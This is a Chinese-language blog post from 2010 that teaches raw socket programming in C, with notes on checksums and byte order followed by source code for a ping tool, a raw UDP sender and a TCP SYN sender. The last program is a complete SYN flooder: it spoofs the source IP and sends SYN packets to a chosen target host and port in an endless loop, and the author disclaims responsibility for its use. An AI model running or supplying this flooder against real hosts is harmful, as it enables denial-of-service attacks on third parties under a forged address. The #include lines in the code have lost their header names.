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我的朋友

分类: LINUX

2010-01-10 14:46:37


    作者:Kevin Z. Tan(kevintz) kevintz@163.com

    前几天网友genjuro_lyb转贴了一篇关于raw socket编程的文章,觉得对TCP/IP的理解有较大
用处,所以中译成《Raw socket C语言简明教程》。但这篇教程里的例子代码不完整,不利于网友
结合实践进行学习raw socket编程。所以就写了4使用个例子,现在将代码贴出来,供大家交流学习。
    我在写这些代码的过程中,遇到不少问题,走了一些弯路,总结一下,为了不再重复花费大家的
精力和时间:
    1、in_cksum()生成的结果不用转换成网络序。另外如果这个函数写得不正确的话,通常得不到
       对方的发回包,很难调试。
    2、数据转化成网络序的一个原则是:一般协议头部的short和int/long型的数据通常要转换成
       网络序。运载的数据部分,如果在对方要处理的,类型为short/int/long型数据的也要转换
       成网络序。如果对方不做处理,直接返回的数据部分,可以不转换成我网络序。
    3、raw tcp的程序为什么只写发SYN包:因为你发了SYN包,对方发回来SYN/ACK包,你的操作系统
       内核先于你的程序接收到这个包,它检查内核里的socket,发现没有一个socket对应于这个包
       (因为raw tcp socket没有保存ip和端口等信息,所以内核不能识别这个包),所以发了一个
       RST包给对方,于是对方的tcp socket关闭了。你的raw tcp socket最终收到这个SYN/ACK包,
       你的程序做了处理后,再发ACK包给对方时,对方的tcp socket已经关闭,所以对方就发了一个
       RST回来。要写一个SYN flooder就只能用raw raw socket,因为raw tcp不能自己控制IP头,所
       以不能写SYN flooder,除非用了IP_HDRINCL选项和自己构造IP头部。本人对其他人使用这些程
       序所做的事情不负任何责任,仅为技术交流而发布。
    4、关于各种协议头的检验和产生方法。
       IP:只包含IP头的检验和,不包括数据部分。
       ICMP:包括ICMP头和数据。
       TCP:包括一个伪协议头部和TCP头和数据。
       UDP:包括一个伪协议头部和UDP头和数据。
    5、raw socket发送数据和返回数据的形式:
       raw icmp socket(IPPROTO_ICMP):
            不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。
       raw udp socket(IPPROTO_UDP):
            不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。
       raw tcp socket(IPPROTO_TCP):
            不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。
       raw raw socket(IPPROTO_RAW):
            要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。
    6、参考资料:
       1、R. Stevens 《TCP/IP详解》卷一、二、三
       2、R. Stevens 《Unix网络编程》卷一
       3、Phrack杂志
    7、编译平台:Linux。FreeBSD应该可以通过。所有程序都要root权限运行。调试raw udp程序时,
       大家将/etc/inetd.conf里的echo upd服务打开就可以了,端口号是7。由于不想将篇幅变太大,
       in_cksum()函数源码只出现一次,加入其他的程序里就可以了。
       调试工具:tcpdump和netstat 
    8、大家可以改进的地方:
       1)加入主机名字查询,不用每次都打IP。加入服务查询,不用打端口,用服务的名字就可以了。
       2)你能想到的都可以写进去。

/* simple ping program */ 
#define __USE_BSD
#include 
#include 
#include 
#include 
#define __FAVOR_BSD
#include 
#include 
#include 
#include 
#include 
#include 

struct sockaddr_in saddr;
int rawsock;

unsigned short in_cksum(unsigned short *addr, int len)
{
        int sum=0;
        unsigned short res=0;
        while( len > 1)  {
                sum += *addr++;
                len -=2;
        }
        if( len == 1) {
                *((unsigned char *)(&res))=*((unsigned char *)addr);
                sum += res;
        }
        sum = (sum >>16) + (sum & 0xffff);
        sum += (sum >>16) ;
        res = ~sum;
        return res;
}


void ping(int signo)
{
        int len;
        int i;
        static unsigned short seq=0;
        char buff[8192];
        struct timeval tv;
        struct icmp *icmph=(struct icmp *)buff;
        long *data=(long *)icmph->icmp_data;
        bzero(buff, 8192);
        gettimeofday(&tv, NULL);
        icmph->icmp_type=ICMP_ECHO;
        icmph->icmp_code=0;
        icmph->icmp_cksum=0;
        icmph->icmp_id=0;
        icmph->icmp_seq=0;
        icmph->icmp_id=getpid()&0xffff;
        icmph->icmp_seq=seq++;

        data[0]= tv.tv_sec;
        data[1]= tv.tv_usec;

        for(i=8; i< 64; i++)
icmph->icmp_data[i]=(unsigned char )i;

        icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72);
        len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr));
        alarm(1);
}

void sigint(int signo)
{
        printf("CATCH SIGINT !!!\n");
        close(rawsock);
        exit(0);

}

void dumppkt(char *buf, int len)
{
        struct ip *iph=(struct ip *)buf;
        int i=iph->ip_hl*4;
        struct icmp *icmph=(struct icmp *)&buf[i];
        long *data=( long*)icmph->icmp_data;
        struct timeval tv;

        gettimeofday(&tv, NULL);
        if( icmph->icmp_type != ICMP_ECHOREPLY )
                return;
        if( icmph->icmp_id != (getpid()&0xffff) )
                return;
        printf("From %s : ttl=%d seq=%d time=%.2f ms\n",
                inet_ntoa(iph->ip_src), iph->ip_ttl ,
                icmph->icmp_seq,
                (tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0);

}


int main(int argc, char *argv[])
{
        int len;
        struct timeval now;
        char recvbuff[8192];

        if( argc != 2) {
                printf("%s aaa.bbb.ccc.ddd\n", argv[0]);
                exit(1);
        }
        rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
        if( rawsock < 0) {
perror("socket");
exit(1);
}
bzero( &saddr, sizeof(saddr));
saddr.sin_family=AF_INET;
if( inet_aton( argv[1], &saddr.sin_addr) < 0) {
printf("invalid IP address:%s\n", argv[1]);
exit(1);
}
signal(SIGALRM, ping);
signal(SIGINT, sigint);
alarm(1);
while(1) {
len=read(rawsock, recvbuff, 8192);
if( len < 0 && errno == EINTR)
continue;
else if( len < 0)
perror("read");
else if( len > 0 )
                        dumppkt(recvbuff, len);
        }
        close(rawsock);
        exit(0);
}

/* simple ping end */

/* simple raw udp program */

#define __USE_BSD  /* 使用BSD风格的结构定义 */
#include 
#include 
#include 
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include 
#include 
#include 
#include 
#include 

struct pesudo_udphdr {
 unsigned int saddr, daddr;
 unsigned char unused;
 unsigned char protocol;
 unsigned short udplen;
};

struct sockaddr_in dst;
struct sockaddr_in src;

int rawsock;
char buff[8192];

void udpecho()
{
        char sendbuf[8192];
        int len;
        struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf;
        struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr
));
        char *data=(char *)(udph+1);

        strcpy(data, "hello,world\n");
        pudph->saddr=src.sin_addr.s_addr;
        pudph->daddr=dst.sin_addr.s_addr;
        pudph->unused=0;
        pudph->protocol=IPPROTO_UDP;
        pudph->udplen=htons(8+strlen(data)+1);

        udph->uh_sport=src.sin_port;  /* port num already net_byte_order */
        udph->uh_dport=dst.sin_port;
        udph->uh_ulen=pudph->udplen;
        udph->uh_sum=0;

        /* include pesudo header and udp header*/
        udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1);
        len=sendto(rawsock, udph, 8+strlen(data)+1, 0,
                (struct sockaddr *)&dst, sizeof(dst));
        if( len < 0)
perror("sendto() error");
else
printf("sendto() send %d bytes\n", len);

}


void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
        struct udphdr *udph=(struct udphdr *)&buff[i];
        char *data=(char *)(udph+1);

        printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                inet_ntoa(iph->ip_src),
                ntohs(udph->uh_sport),
                inet_ntoa(iph->ip_dst),
                ntohs(udph->uh_dport),
                len, i, ntohs(iph->ip_len)
        );
        printf(data);

}

void alarmsig(int a)
{
        udpecho();
        alarm(1);
}

int main(int argc, char *argv[])
{
        int len;

        if(argc != 5) {
                printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                exit(1);
        }
        if( inet_aton(argv[1], &src.sin_addr) == 0) {
                printf("bad localip:%s\n", argv[1]);
                exit(1);
        }
        if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                printf("bad remoteip:%s\n", argv[3]);
                exit(1);
        }
        src.sin_port=htons(atoi(argv[2]));
        dst.sin_port=htons(atoi(argv[4]));
        src.sin_family=AF_INET;
        dst.sin_family=AF_INET;

        rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
        if( rawsock < 0) {
perror("socket");
exit(1);
}
if( signal(SIGALRM, alarmsig) < 0) {
perror("signal");
exit(1);
}
alarm(1);
while( (len=read(rawsock, buff, 8192)) > 0) {
                dump(buff, len);
        }
        close(rawsock);
        exit(0);
}
/* raw udp end */

/* raw tcp syn sender */
#define __USE_BSD  /* 使用BSD风格的结构定义 */
#include 
#include 
#include 
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include 
#include 
#include 
#include 

struct pesudo_tcphdr {
        unsigned int saddr, daddr;
        unsigned char unused;
        unsigned char protocol;
        unsigned short tcplen;
};

struct sockaddr_in dst;
struct sockaddr_in src;

int seq;
int rawsock;
char buff[8192];

void syn()
{
        char sendbuf[8192];
        int len;
        struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf;
        struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr
));

        ptcph->saddr=src.sin_addr.s_addr;
        ptcph->daddr=dst.sin_addr.s_addr;
        ptcph->unused=0;
        ptcph->protocol=IPPROTO_TCP;
        ptcph->tcplen=htons(20);  /* we just send header , no data */

        tcph->th_sport=src.sin_port;  /* port num already net_byte_order */
        tcph->th_dport=dst.sin_port;
        tcph->th_seq=htonl(123456);
        tcph->th_ack=0;
        tcph->th_x2=0;
        tcph->th_off=5;
        tcph->th_flags=TH_SYN;
        tcph->th_win=htons(65535);
        tcph->th_sum=0;
        tcph->th_urp=0;

        /* include pesudo header and tcp header*/
        tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12);
        len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst));
        if( len < 0)
perror("sendto() SYN error");
else
printf("sendto() SYN send %d bytes\n", len);

}
void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
        struct tcphdr *tcph=(struct tcphdr *)&buff[i];

        printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
                inet_ntoa(iph->ip_src),
                ntohs(tcph->th_sport),
                inet_ntoa(iph->ip_dst),
                ntohs(tcph->th_dport),
                len, i, ntohs(iph->ip_len)
        );
        printf("seq: %u ack_seq:%u ",
                ntohl(tcph->th_seq),
                ntohl(tcph->th_ack)
        );
        if( tcph->th_flags & TH_SYN)
                printf("SYN ");
        if( tcph->th_flags & TH_ACK)
                printf("ACK ");
        if( tcph->th_flags & TH_FIN)
                printf("FIN ");
        if( tcph->th_flags & TH_RST)
                printf("RST ");
        if( tcph->th_flags & TH_URG)
                printf("URG ");
        if( tcph->th_flags & TH_PUSH)
                printf("PUSH ");
        printf("\n");

}
int main(int argc, char *argv[])
{
        int len;

        if(argc != 5) {
                printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
                exit(1);
        }
        if( inet_aton(argv[1], &src.sin_addr) == 0) {
                printf("bad localip:%s\n", argv[1]);
                exit(1);
        }
        if( inet_aton(argv[3], &dst.sin_addr) == 0) {
                printf("bad remoteip:%s\n", argv[3]);
                exit(1);
        }
        src.sin_port=htons(atoi(argv[2]));
        dst.sin_port=htons(atoi(argv[4]));
        src.sin_family=AF_INET;
        dst.sin_family=AF_INET;

        rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        if( rawsock < 0) {
perror("socket");
exit(1);
}
syn();
len=read(rawsock, buff, 8192);
if( len > 0) 
              dump(buff, len);
        else 
              printf("read return %d \n", len);

        close(rawsock);
        exit(0);
}

/* simple syn flooder !!! */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 


unsigned short in_cksum(unsigned short *ptr,int nbytes);
int synflooding();
void sigint(int signo);
struct sockaddr_in target;
struct sockaddr_in pesudo;
int rawsock;

void sigint(int signo)
{
        printf("catch SIGINT\n");
        close(rawsock);
        exit(0);
}

int main(int argc, char *argv[])
{
        if( argc != 4) {
                printf("usage:%s pesudoip attackip attackport\n", argv[0]);
                exit(1);
        }
        if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
                printf("bad ip address:%s\n", argv[1]);
                exit(1);
        }
        if( inet_aton(argv[2], &target.sin_addr) == 0) {
                printf("bad ip address:%s\n", argv[2]);
                exit(1);
        }
        target.sin_port=htons(atoi(argv[3]));
        signal(SIGINT, sigint);
        synflooding();
        exit(0);

}

int synflooding()
{
        int i, j, k;
        struct packet{
        struct iphdr ip;
        struct tcphdr tcp;
        }packet;

        struct pseudo_header{           /* For TCP header checksum */
                unsigned int source_address;
                unsigned int dest_address;
                unsigned char placeholder;
                unsigned char protocol;
                unsigned short tcp_length;
                struct tcphdr tcp;
        }pseudo_header;
        bzero(&packet, sizeof(packet));
        bzero(&pseudo_header, sizeof(pseudo_header));
        if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */

packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
while(1) {
/* set src port and ISN */
packet.tcp.source=htons(1025+rand()%60000);
packet.tcp.seq=761013+rand()%100000;
packet.tcp.check=0;

pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);

bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
sendto(rawsock,&packet,40,0,
(struct sockaddr *)&target,sizeof(target));
}
return 0;

}

/* syn flooder end */
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